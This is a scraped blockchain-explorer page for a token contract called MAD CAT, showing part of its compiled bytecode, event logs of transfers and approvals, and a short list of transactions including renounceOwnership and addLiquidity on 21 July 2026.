fffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610eab91906110f2565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f28575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610f1f9190611207565b60405180910390fd5b610f335f8383610c9f565b5050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610f6e578082015181840152602081019050610f53565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610f9382610f37565b610f9d8185610f41565b9350610fad818560208601610f51565b610fb681610f79565b840191505092915050565b5f6020820190508181035f830152610fd98184610f89565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61100e82610fe5565b9050919050565b61101e81611004565b8114611028575f80fd5b50565b5f8135905061103981611015565b92915050565b5f819050919050565b6110518161103f565b811461105b575f80fd5b50565b5f8135905061106c81611048565b92915050565b5f806040838503121561108857611087610fe1565b5b5f6110958582860161102b565b92505060206110a68582860161105e565b9150509250929050565b5f8115159050919050565b6110c4816110b0565b82525050565b5f6020820190506110dd5f8301846110bb565b92915050565b6110ec8161103f565b82525050565b5f6020820190506111055f8301846110e3565b92915050565b5f805f6060848603121561112257611121610fe1565b5b5f61112f8682870161102b565b93505060206111408682870161102b565b92505060406111518682870161105e565b9150509250925092565b5f60ff82169050919050565b6111708161115b565b82525050565b5f6020820190506111895f830184611167565b92915050565b5f80604083850312156111a5576111a4610fe1565b5b5f6111b28582860161102b565b92505060206111c38582860161102b565b9150509250929050565b5f602082840312156111e2576111e1610fe1565b5b5f6111ef8482850161102b565b91505092915050565b61120181611004565b82525050565b5f60208201905061121a5f8301846111f8565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061126457607f821691505b60208210810361127757611276611220565b5b50919050565b7f43616c6c6572206973206e6f742061206275726e206d616e61676572000000005f82015250565b5f6112b1601c83610f41565b91506112bc8261127d565b602082019050919050565b5f6020820190508181035f8301526112de816112a5565b9050919050565b7f4e6f20746f6b656e7320746f207472616e7366657200000000000000000000005f82015250565b5f611319601583610f41565b9150611324826112e5565b602082019050919050565b5f6020820190508181035f8301526113468161130d565b9050919050565b7f43616c6c6572206973206e6f74206120726577617264206d616e6167657200005f82015250565b5f611381601e83610f41565b915061138c8261134d565b602082019050919050565b5f6020820190508181035f8301526113ae81611375565b9050919050565b5f6060820190506113c85f8301866111f8565b6113d560208301856110e3565b6113e260408301846110e3565b949350505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6114218261103f565b915061142c8361103f565b9250828201905080821115611444576114436113ea565b5b9291505056fea264697066735822122046f3cbc0cb43e6d40fb369354b542064cda9ffbf4cdb884b533137866ad6e0db64736f6c63430008180033
| Token | Symbol | Balance | Price | Value |
|---|---|---|---|---|
| no token holdings | ||||
| Txn Hash | Age | Event | Topics / Data |
|---|---|---|---|
| 0x0dd214…879945 | 27 days agoTue, 21 Jul 2026 11:25:01 UTC | Transfer | [0] 0x000000000000…eb649eba [1] 0x000000000000…08442d0b data: 0x000000000000000000…914a0fce |
| 0x0dd214…879945 | 27 days agoTue, 21 Jul 2026 11:25:01 UTC | Transfer | [0] 0x000000000000…33b3834b [1] 0x000000000000…eb649eba data: 0x000000000000000000…914a0fce |
| 0xb35b56…987fb0 | 27 days agoTue, 21 Jul 2026 10:39:07 UTC | 0x857ac1…924d | [0] 0x000000000000…dc0d11ad [1] 0x000000000000…08442d0b data: 0x000000000000000000…19474fb5 |
| 0xb35b56…987fb0 | 27 days agoTue, 21 Jul 2026 10:39:07 UTC | Transfer | [0] 0x000000000000…dc0d11ad [1] 0x000000000000…08442d0b data: 0x000000000000000000…19474fb5 |
| 0x081b7a…0e96af | 27 days agoTue, 21 Jul 2026 10:38:54 UTC | Approval | [0] 0x000000000000…dc0d11ad [1] 0x000000000000…172bb7fe data: 0xffffffffffffffffff…ffffffff |
| 0xf7898d…186bde | 27 days agoTue, 21 Jul 2026 10:38:53 UTC | Transfer | [0] 0x000000000000…33b3834b [1] 0x000000000000…dc0d11ad data: 0x000000000000000000…19474fb5 |
| 0x296b4d…5a5d68 | 27 days agoTue, 21 Jul 2026 09:50:55 UTC | Transfer | [0] 0x000000000000…33b3834b [1] 0x000000000000…d3ef0be1 data: 0x000000000000000000…7cff364a |
| 0xb18184…acbff8 | 27 days agoTue, 21 Jul 2026 09:50:53 UTC | Transfer | [0] 0x000000000000…33b3834b [1] 0x000000000000…8abdfbba data: 0x000000000000000000…257d2dd4 |
| 0x709ee0…cfb95b | 27 days agoTue, 21 Jul 2026 09:50:50 UTC | Transfer | [0] 0x000000000000…33b3834b [1] 0x000000000000…c9950b90 data: 0x000000000000000000…94e82647 |
| 0x56fe47…f2e0a9 | 27 days agoTue, 21 Jul 2026 09:50:48 UTC | Transfer | [0] 0x000000000000…33b3834b [1] 0x000000000000…586ce575 data: 0x000000000000000000…8bb09c50 |
| 0x73e4ea…268edb | 27 days agoTue, 21 Jul 2026 09:50:45 UTC | Transfer | [0] 0x000000000000…33b3834b [1] 0x000000000000…8a90b7e3 data: 0x000000000000000000…d37de0ea |
| 0xff60d2…62ee3f | 27 days agoTue, 21 Jul 2026 09:50:43 UTC | Transfer | [0] 0x000000000000…33b3834b [1] 0x000000000000…4e51234f data: 0x000000000000000000…5956cc4f |
| 0xccf44c…93dd6d | 27 days agoTue, 21 Jul 2026 09:50:40 UTC | Transfer | [0] 0x000000000000…33b3834b [1] 0x000000000000…e64a33d4 data: 0x000000000000000000…8ddd5a99 |
| 0xadb341…8fde84 | 27 days agoTue, 21 Jul 2026 09:50:38 UTC | Transfer | [0] 0x000000000000…33b3834b [1] 0x000000000000…a33754bb data: 0x000000000000000000…f3c4d3c1 |
| 0x49b802…d9bf14 | 27 days agoTue, 21 Jul 2026 09:49:43 UTC | Transfer | [0] 0x000000000000…d051d75e [1] 0x000000000000…33b3834b data: 0x000000000000000000…00000000 |
| 0x77fa57…581646 | 27 days agoTue, 21 Jul 2026 09:49:42 UTC | Approval | [0] 0x000000000000…d051d75e [1] 0x000000000000…eb649eba data: 0xffffffffffffffffff…ffffffff |
| 0xb3d893…e59908 | 27 days agoTue, 21 Jul 2026 09:49:39 UTC | Transfer | [0] 0x000000000000…a03db29c [1] 0x000000000000…33b3834b data: 0x000000000000000000…00000000 |
| 0xbb899a…6c8b7d | 27 days agoTue, 21 Jul 2026 09:49:39 UTC | Approval | [0] 0x000000000000…a03db29c [1] 0x000000000000…eb649eba data: 0xffffffffffffffffff…ffffffff |
| 0x65b012…dafe41 | 27 days agoTue, 21 Jul 2026 09:49:35 UTC | Transfer | [0] 0x000000000000…7e50fec8 [1] 0x000000000000…33b3834b data: 0x000000000000000000…00000000 |
| 0xa8b50b…fe6e38 | 27 days agoTue, 21 Jul 2026 09:49:35 UTC | Approval | [0] 0x000000000000…7e50fec8 [1] 0x000000000000…eb649eba data: 0xffffffffffffffffff…ffffffff |
| 0x06874a…96e373 | 27 days agoTue, 21 Jul 2026 09:48:23 UTC | Transfer | [0] 0x000000000000…33b3834b [1] 0x000000000000…d6357a84 data: 0x000000000000000000…5d2518c3 |
| 0xe1cee7…888530 | 27 days agoTue, 21 Jul 2026 09:48:20 UTC | Transfer | [0] 0x000000000000…33b3834b [1] 0x000000000000…fc3722e2 data: 0x000000000000000000…bfd0e47a |
| 0xafa74a…596afa | 27 days agoTue, 21 Jul 2026 09:48:17 UTC | Transfer | [0] 0x000000000000…33b3834b [1] 0x000000000000…70cdcc43 data: 0x000000000000000000…eebea3a9 |
| 0xcfd24d…0b9a71 | 27 days agoTue, 21 Jul 2026 09:48:15 UTC | Transfer | [0] 0x000000000000…33b3834b [1] 0x000000000000…b4c8217a data: 0x000000000000000000…c35775a7 |
| 0x5be2ac…29100c | 27 days agoTue, 21 Jul 2026 09:48:12 UTC | Transfer | [0] 0x000000000000…33b3834b [1] 0x000000000000…c2c0fba5 data: 0x000000000000000000…c43dae29 |
| Transaction Hash | Method | Block | Age | From | To | Type | Item | ||
|---|---|---|---|---|---|---|---|---|---|
| no NFT transfers for this address yet | |||||||||
| Transaction Hash | Method | Block | Age | From | To | Amount | Token | ||
|---|---|---|---|---|---|---|---|---|---|
| no token transfers for this address yet | |||||||||
| Type | Age | Block | Details |
|---|---|---|---|
| no cross-chain L1↔L2 transactions for this address | |||
| Block | Age | Parent Transaction Hash | Type | Method | From | To | Value | |
|---|---|---|---|---|---|---|---|---|
| no internal transactions found for this address yet (traced blocks + on-demand) | ||||||||
| Transaction Hash | Method ? | Block | Age | From | To | Amount | Txn Fee ? | ||
|---|---|---|---|---|---|---|---|---|---|
| 0xb35b56…987fb0 | addLiquidity | 15,497,640 | 27 days agoTue, 21 Jul 2026 10:39:07 UTC | 0x4ccc…2d0b | IN | MAD CAT | $0.000 ETH | 0.00000301 | |
| 0x081b7a…0e96af | Approve | 15,497,501 | 27 days agoTue, 21 Jul 2026 10:38:54 UTC | 0x8d9c…11ad | IN | MAD CAT | $0.000 ETH | 0.00000274 | |
| 0x77fa57…581646 | Approve | 15,468,070 | 27 days agoTue, 21 Jul 2026 09:49:42 UTC | 0xefd9…d75e | IN | MAD CAT | $0.000 ETH | 0.00000276 | |
| 0xbb899a…6c8b7d | Approve | 15,468,033 | 27 days agoTue, 21 Jul 2026 09:49:39 UTC | 0x62dd…b29c | IN | MAD CAT | $0.000 ETH | 0.00000273 | |
| 0xa8b50b…fe6e38 | Approve | 15,467,995 | 27 days agoTue, 21 Jul 2026 09:49:35 UTC | 0x8f74…fec8 | IN | MAD CAT | $0.000 ETH | 0.00000274 | |
| 0x9c7816…475a3b | Approve | 15,465,628 | 27 days agoTue, 21 Jul 2026 09:45:38 UTC | 0x4ccc…2d0b | IN | MAD CAT | $0.000 ETH | 0.00000275 | |
| 0xc1d098…531e38 | renounceOwnership | 15,464,743 | 27 days agoTue, 21 Jul 2026 09:44:09 UTC | 0x4ccc…2d0b | IN | MAD CAT | $0.000 ETH | 0.00000136 |